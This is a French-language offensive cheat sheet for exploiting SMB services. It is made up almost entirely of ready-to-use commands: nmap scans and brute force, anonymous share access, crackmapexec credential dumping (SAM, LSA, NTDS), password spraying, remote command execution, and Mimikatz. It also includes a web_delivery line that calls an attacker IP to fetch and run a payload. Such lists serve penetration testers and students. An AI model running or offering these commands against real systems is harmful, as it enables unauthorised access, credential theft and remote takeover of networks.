SMB - ports 445-139
Techniques d'exploitation des services Server Message Block
Scan version
Exemple:
$ nmap -sS -sV -p445-139 --script smb-enum-users,smb-os-discovery <target IP>
Scan de vulnérabilité
Il existe des scripts nmap permettant de scanner la présence de vulnérabilités connues dans un service SMB.
Exemple:
$ nmap -p139-445 --script=smb-vuln* <target IP>
Lister les fichiers partagés
Connexion anonyme:
$ smbclient --no-pass -L //<target IP>
Avec identifiants:
$ smbclient -U '<username>[%<password>]' -L //<target IP>
Avec crackmapexec
Connexion anonyme:
$ crackmapexec smb <target IP> -u '' -p '' --shares
Avec des identifiants:
$ crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
Avec un hash de mot de passe:
$ crackmapexec smb <target IP> -u '<username>' -H '<hash>' --shares
Se connecter
Sur une cible sous Linux
Pour se connecter à un service SMB on peut utiliser smbclient comme ceci.
Exemples:
$ smbclient --no-pass //<target IP>/<Fichier> #anonyme
$ smbclient -U '<username>[%<passwd>]' -L //<target IP>/<Fichier>
Sur une cible sous Windows
Exemples:
$ smbclient -U '%' -N \\\\<target IP>\\<Fichier> #anonyme
$ smbclient -U '<username>' \\\\<target IP>\\<Fichier>
Brute force
Il existe également un script nmap permettant de brute force la connexion à un service SMB.
Utilisation:
$ nmap --script smb-brute -p445 <target IP>
Attention: Tenter de brute force un service SMB peut entraîner le blocage des comptes
Monter un fichier partagé
Pour monter un fichier partagé on utilise la commande mount.
Exemples d'utilisation:
$ mount -t cifs //<target IP>/<Fichier> /mnt/partage
$ mount -t cifs -o "username=<username>,password=<password>" //<target IP>/<Fichier> /mnt/partage
Télécharger un fichier partagé
Il est possible de télécharger un fichier partagé avec smbmap comme ceci par exemple.
$ smbmap -R <Dossier> -H <target IP> -A <Fichier> -q
Crackmapexec
Mindmap
Quelques commandes intéressantes proposées par crackmapexec:
Enumération et dump:
# Basiques
crackmapexec smb <IP>/24
crackmapexec smb <target IP> -u '<username>' -p '<password>'
crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
# Enumeration des fichiers textes
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern txt
# Enumeration des fichiers de logs
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern log
# Dump SAM
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sam
# Dump LSASS
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --lsa
# Dump NTDS (SRDUAPI)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds drsuapi
# Dump NTDS (VSS)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds vss
# Dump sessions
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sessions
# Dump des utilisateurs connectés
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --loggedon-users
# Enumeration des disques
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --disks
# Enumeration des utilisateurs
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --users
# Enumeration des groupes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --groups
# Dump de la politique de mots de passes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --pass-pol
Bruteforce:
# Bruteforce d'un utilisateur spécifique dans une plage IP
crackmapexec smb <IP>/24 -u '<user to find>' '<username>' -p '<password>'
# Attaque par dictionnaire
crackmapexec smb <IP>/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
# Password Spraying
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --rid-brute
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --continue-on-success
Exécution de commande à distance
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>'
# Avec planificateur de tâche
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method atexec
# Avec le service WMI
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method wmiexec
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --wmi "WMI command"
Modules:
# Voir les modules enregistrés
crackmapexec smb -L
# Module Mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz -o COMMAND='<command>'
# Module Wdigest (créer une clé de registre grâce à laquelle les mots de passe sont stockés en mémoire)
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M wdigest -o ACTION='<command>'
# Module enum_dns
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M enum_dns
# Module web_delivery à utiliser avec un handler sur metasploit
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M web_sdelivery -o URL=http://<attacker IP>:<port>/rlNdPdZQMeYWLF
ressource: https://github.com/byt3bl33d3r/CrackMapExec
Manspider
Recherche dans les partages SMB des mots clés basés et pattern basés sur des regex.
Exemple d'utilisation:
$ manspider <target IP>/24 -f passw user login cred -u <user> -p <password>
ressource: https://github.com/blacklanternsecurity/MANSPIDER
Ressources
https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/
Dernière mise à jour
Cet article vous a-t-il été utile ?